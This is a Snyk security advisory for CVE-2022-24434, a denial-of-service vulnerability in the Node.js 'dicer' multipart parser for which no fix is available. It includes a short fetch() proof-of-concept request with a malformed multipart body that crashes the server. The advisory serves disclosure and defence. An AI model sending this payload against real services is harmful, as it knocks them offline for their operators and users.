

## Denial of Service (DoS)

Affecting **dicer** package, versions \*

INTRODUCED: 7 DEC 2021 [CVE-2022-24434](#) ?

CWE-400 ?

FIRST ADDED BY SNYK

Share ▼

### How to fix?

There is no fixed version for **dicer**.

### Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

### PoC:

```
fetch('form-image', { method: 'POST', headers: {
  ['content-type']: 'multipart/form-data;
boundary=----WebKitFormBoundaryyoo6vortfDzBsDiro',
  ['content-length']: '145', host:
'127.0.0.1:8000', connection: 'keep-alive', },
body: '-----
WebKitFormBoundaryyoo6vortfDzBsDiro\r\n Content-
Disposition: form-data;
name="bildbeschreibung"\r\n\r\n\r\n-----
WebKitFormBoundaryyoo6vortfDzBsDiro--' }));
```



### Snyk CVSS

Exploit Maturity **Mature** ?

Attack Complexity **Low** ?

Availability **HIGH** ?

[See more](#)

> **NVD**

7.5 HIGH

### Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable

in your application, and suggest you quick fixes.

## References

- [GitHub Commit](#)
- [GitHub Issue](#)
- [GitHub PR](#)

Test your applications

### Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning

Snyk **SNYK-JS-DICER-ID 2311764**

Published **19 May 2022**

Disclosed **7 Dec 2021**

Credit **Aras Abbasi**

Report a new vulnerability

Found a mistake?

## PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

[Test with Github](#)

[Test with CLI](#)

## RESOURCES

[Vulnerability DB](#)

[Documentation](#)

[Disclosed Vulnerabilities](#)

[Blog](#)

[FAQs](#)

## COMPANY

[About](#)

[Jobs](#)

[Contact](#)

[Policies](#)

[Do Not Sell My Personal Information](#)

## CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

## FIND US ONLINE

## TRACK OUR DEVELOPMENT



Join the >>  
community

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.